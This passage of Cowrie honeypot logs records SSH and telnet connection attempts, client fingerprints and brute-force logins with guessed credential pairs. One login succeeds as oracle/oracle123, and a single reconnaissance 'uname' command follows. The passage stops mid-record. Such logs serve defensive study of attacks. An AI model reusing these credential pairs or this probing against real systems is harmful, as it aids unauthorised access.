{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:06.206450Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.33429312705994,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:23.935529Z","src_ip":"170.64.224.25","session":"a68d35844c4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":41386,"dst_ip":"10.17.0.5","dst_port":22,"session":"5da0ed13f152","protocol":"ssh","message":"New connection: 103.15.222.183:41386 (10.17.0.5:22) [session: 5da0ed13f152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:24.323510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:24.326906Z","src_ip":"103.15.222.183","session":"5da0ed13f152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:24.559740Z","src_ip":"103.15.222.183","session":"5da0ed13f152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53390,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb6e4a09f07e","protocol":"ssh","message":"New connection: 160.187.174.22:53390 (159.203.135.109:22) [session: fb6e4a09f07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:24.667761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:24.671493Z","src_ip":"160.187.174.22","session":"fb6e4a09f07e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:24.914014Z","src_ip":"160.187.174.22","session":"fb6e4a09f07e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050390","message":"login attempt [root/050390] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:25.263034Z","src_ip":"103.15.222.183","session":"5da0ed13f152","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:25.636406Z","src_ip":"160.187.174.22","session":"fb6e4a09f07e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:26.178608Z","src_ip":"160.187.174.22","session":"fb6e4a09f07e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:26.181271Z","src_ip":"160.187.174.22","session":"fb6e4a09f07e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:26.427159Z","src_ip":"160.187.174.22","session":"fb6e4a09f07e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:26.429142Z","src_ip":"160.187.174.22","session":"fb6e4a09f07e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:26.498447Z","src_ip":"103.15.222.183","session":"5da0ed13f152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44858,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9eced205a9b","protocol":"telnet","message":"New connection: 170.64.224.25:44858 (159.203.135.109:23) [session: d9eced205a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:28.515781Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39942,"dst_ip":"159.203.135.109","dst_port":22,"session":"26d1a851ffd2","protocol":"ssh","message":"New connection: 103.82.132.16:39942 (159.203.135.109:22) [session: 26d1a851ffd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:30.906572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:30.910174Z","src_ip":"103.82.132.16","session":"26d1a851ffd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:31.171040Z","src_ip":"103.82.132.16","session":"26d1a851ffd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02061975","message":"login attempt [root/02061975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:31.952646Z","src_ip":"103.82.132.16","session":"26d1a851ffd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:33.215145Z","src_ip":"103.82.132.16","session":"26d1a851ffd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50262,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2b16ebcd365","protocol":"telnet","message":"New connection: 170.64.224.25:50262 (159.203.135.109:23) [session: d2b16ebcd365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:47.936554Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":45684,"dst_ip":"159.203.135.109","dst_port":22,"session":"563586d4310c","protocol":"ssh","message":"New connection: 160.187.174.22:45684 (159.203.135.109:22) [session: 563586d4310c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:50.494427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:50.498350Z","src_ip":"160.187.174.22","session":"563586d4310c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:50.734516Z","src_ip":"160.187.174.22","session":"563586d4310c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:51.440945Z","src_ip":"160.187.174.22","session":"563586d4310c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:52.677984Z","src_ip":"160.187.174.22","session":"563586d4310c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.175957441329956,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:54.112395Z","src_ip":"170.64.224.25","session":"d2b16ebcd365","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50278,"dst_ip":"159.203.135.109","dst_port":23,"session":"dca2167e09c9","protocol":"telnet","message":"New connection: 170.64.224.25:50278 (159.203.135.109:23) [session: dca2167e09c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:55.545065Z"}
{"eventid":"cowrie.session.closed","duration":27.136988401412964,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:55.652647Z","src_ip":"170.64.224.25","session":"d9eced205a9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":39368,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aebfac6a454","protocol":"ssh","message":"New connection: 38.93.206.2:39368 (159.203.135.109:22) [session: 6aebfac6a454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:08.318255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:08.324671Z","src_ip":"38.93.206.2","session":"6aebfac6a454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:08.386049Z","src_ip":"38.93.206.2","session":"6aebfac6a454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123az","message":"login attempt [root/123123az] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:08.593697Z","src_ip":"38.93.206.2","session":"6aebfac6a454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:09.647797Z","src_ip":"38.93.206.2","session":"6aebfac6a454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":60702,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3e5060f8bfa","protocol":"ssh","message":"New connection: 160.187.174.22:60702 (159.203.135.109:22) [session: e3e5060f8bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:10.861416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:10.866978Z","src_ip":"160.187.174.22","session":"e3e5060f8bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:11.108009Z","src_ip":"160.187.174.22","session":"e3e5060f8bfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:11.833701Z","src_ip":"160.187.174.22","session":"e3e5060f8bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:13.084973Z","src_ip":"160.187.174.22","session":"e3e5060f8bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":45780,"dst_ip":"159.203.135.109","dst_port":22,"session":"876981c76433","protocol":"ssh","message":"New connection: 103.149.28.157:45780 (159.203.135.109:22) [session: 876981c76433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:17.714956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:17.719198Z","src_ip":"103.149.28.157","session":"876981c76433","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:17.972878Z","src_ip":"103.149.28.157","session":"876981c76433","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":50290,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e54ccbce315","protocol":"ssh","message":"New connection: 221.163.5.228:50290 (159.203.135.109:22) [session: 9e54ccbce315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:18.414467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:18.417106Z","src_ip":"221.163.5.228","session":"9e54ccbce315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":